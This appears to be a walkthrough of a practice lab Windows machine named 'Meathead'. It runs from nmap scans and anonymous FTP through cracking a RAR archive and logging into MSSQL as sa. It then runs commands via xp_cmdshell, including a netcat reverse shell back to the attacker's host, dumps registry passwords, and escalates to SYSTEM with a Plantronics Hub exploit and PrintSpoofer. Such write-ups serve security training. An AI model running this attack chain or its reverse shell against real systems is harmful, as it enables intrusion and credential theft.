Enumeration
$ sudo nmap $ip -p80,135,139,445,1435,3389 -sVC -O
PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0|_http-server-header: Microsoft-IIS/10.0| http-methods:|_ Potentially risky methods: TRACE|_http-title: Plantronics135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds1435/tcp open ibm-cics?3389/tcp open ms-wbt-server Microsoft Terminal Services| ssl-cert: Subject: commonName=Meathead| Not valid before: 2021-09-20T18:20:56|_Not valid after: 2022-03-22T18:20:56|_ssl-date: 2021-11-21T03:57:08+00:00; +2s from scanner time.| rdp-ntlm-info:| Target_Name: MEATHEAD| NetBIOS_Domain_Name: MEATHEAD| NetBIOS_Computer_Name: MEATHEAD| DNS_Domain_Name: Meathead| DNS_Computer_Name: Meathead| Product_Version: 10.0.17763|_ System_Time: 2021-11-21T03:56:28+00:00Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portOS fingerprint not ideal because: Missing a closed TCP port so results incompleteNo OS matches for hostService Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsAdditional scans
$ nmap $ip -p1221,1435,5895 -sVC --version-all
PORT STATE SERVICE VERSION1221/tcp open ftp Microsoft ftpd| ftp-anon: Anonymous FTP login allowed (FTP code 230)| 04-27-20 07:02PM 18866 Elementum Supremum.docx| 04-27-20 07:02PM 764176 file_example_MP3_700KB.mp3| 04-27-20 07:02PM 15690 img.jpg| 04-27-20 07:02PM 302 MSSQL_BAK.rar| 04-27-20 07:02PM 548 palindromes.txt|_04-27-20 07:02PM 45369 server.jpg| ftp-syst:|_ SYST: Windows_NT1435/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000| ms-sql-ntlm-info:| Target_Name: MEATHEAD| NetBIOS_Domain_Name: MEATHEAD| NetBIOS_Computer_Name: MEATHEAD| DNS_Domain_Name: Meathead| DNS_Computer_Name: Meathead|_ Product_Version: 10.0.17763|_ssl-date: 2021-11-21T04:32:52+00:00; +2s from scanner time.| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback| Not valid before: 2021-09-21T18:21:07|_Not valid after: 2051-09-21T18:21:075895/tcp filtered unknownService Info: OS: Windows; CPE: cpe:/o:microsoft:windowsExploitation
Initial Access
Download the mssql_bal.rar files from FTP. It is password locked, crack it using john
$ john --wordlist=/usr/share/wordlists/rockyou.txt ./john.txt<...>letmeinplease (mssql_bak.rar)Extract the rar files to reveal the credential for mssql
$ unrar x mssql_bak.rarUNRAR 6.02 freeware Copyright (c) 1993-2021 Alexander RoshalEnter password (will not be echoed) for mssql_bak.rar:Extracting from mssql_bak.rarExtracting mssql_backup.txt OKAll OK
$ cat mssql_backup.txtUsername: saPassword: EjectFrailtyThorn425XP_CMDSHELL Code Execution
$ mssqlclient.py sa:EjectFrailtyThorn425@192.168.155.70 -port 1435Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(MEATHEAD\SQLEXPRESS): Line 1: Changed database context to 'master'.[*] INFO(MEATHEAD\SQLEXPRESS): Line 1: Changed language setting to us_english.[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)[!] Press help for extra shell commands
SQL> enable_xp_cmdshell[*] INFO(MEATHEAD\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.[*] INFO(MEATHEAD\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.SQL> reconfigureSQL> xp_cmdshell whoamioutput--------------------------------------------------------------------------------nt service\mssql$sqlexpressNULLReverse Shell
SQL> xp_cmdshell \\192.168.49.155\share\nc64.exe -e cmd.exe 192.168.49.155 80** Credential Disclosure **
SQL> xp_cmdshell reg query HKLM /f pass /t REG_SZ /s< . . . SNIP . . . >HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control
CurrentPass REG_SZ TwilightAirmailMuck234< . . . SNIP . . . >RDP into the machine
$ rdesktop -u jane -p "TwilightAirmailMuck234" $ipPrivilege Escalation
Plantronics Hub 3.13.2 - Privilege Escalation
- https://www.exploit-db.com/exploits/47845
- Create
MajorUpgrade.configinC:\ProgramData\Plantronics\Spokes3Gwith following data:
jane|advertise|C:\Windows\System32\cmd.exeSeimpersonate | Printspoofer
C:\FTP>PrintSpoofer64.exe -i -c cmdC:\Windows\system32>whoamiwhoamint authority\system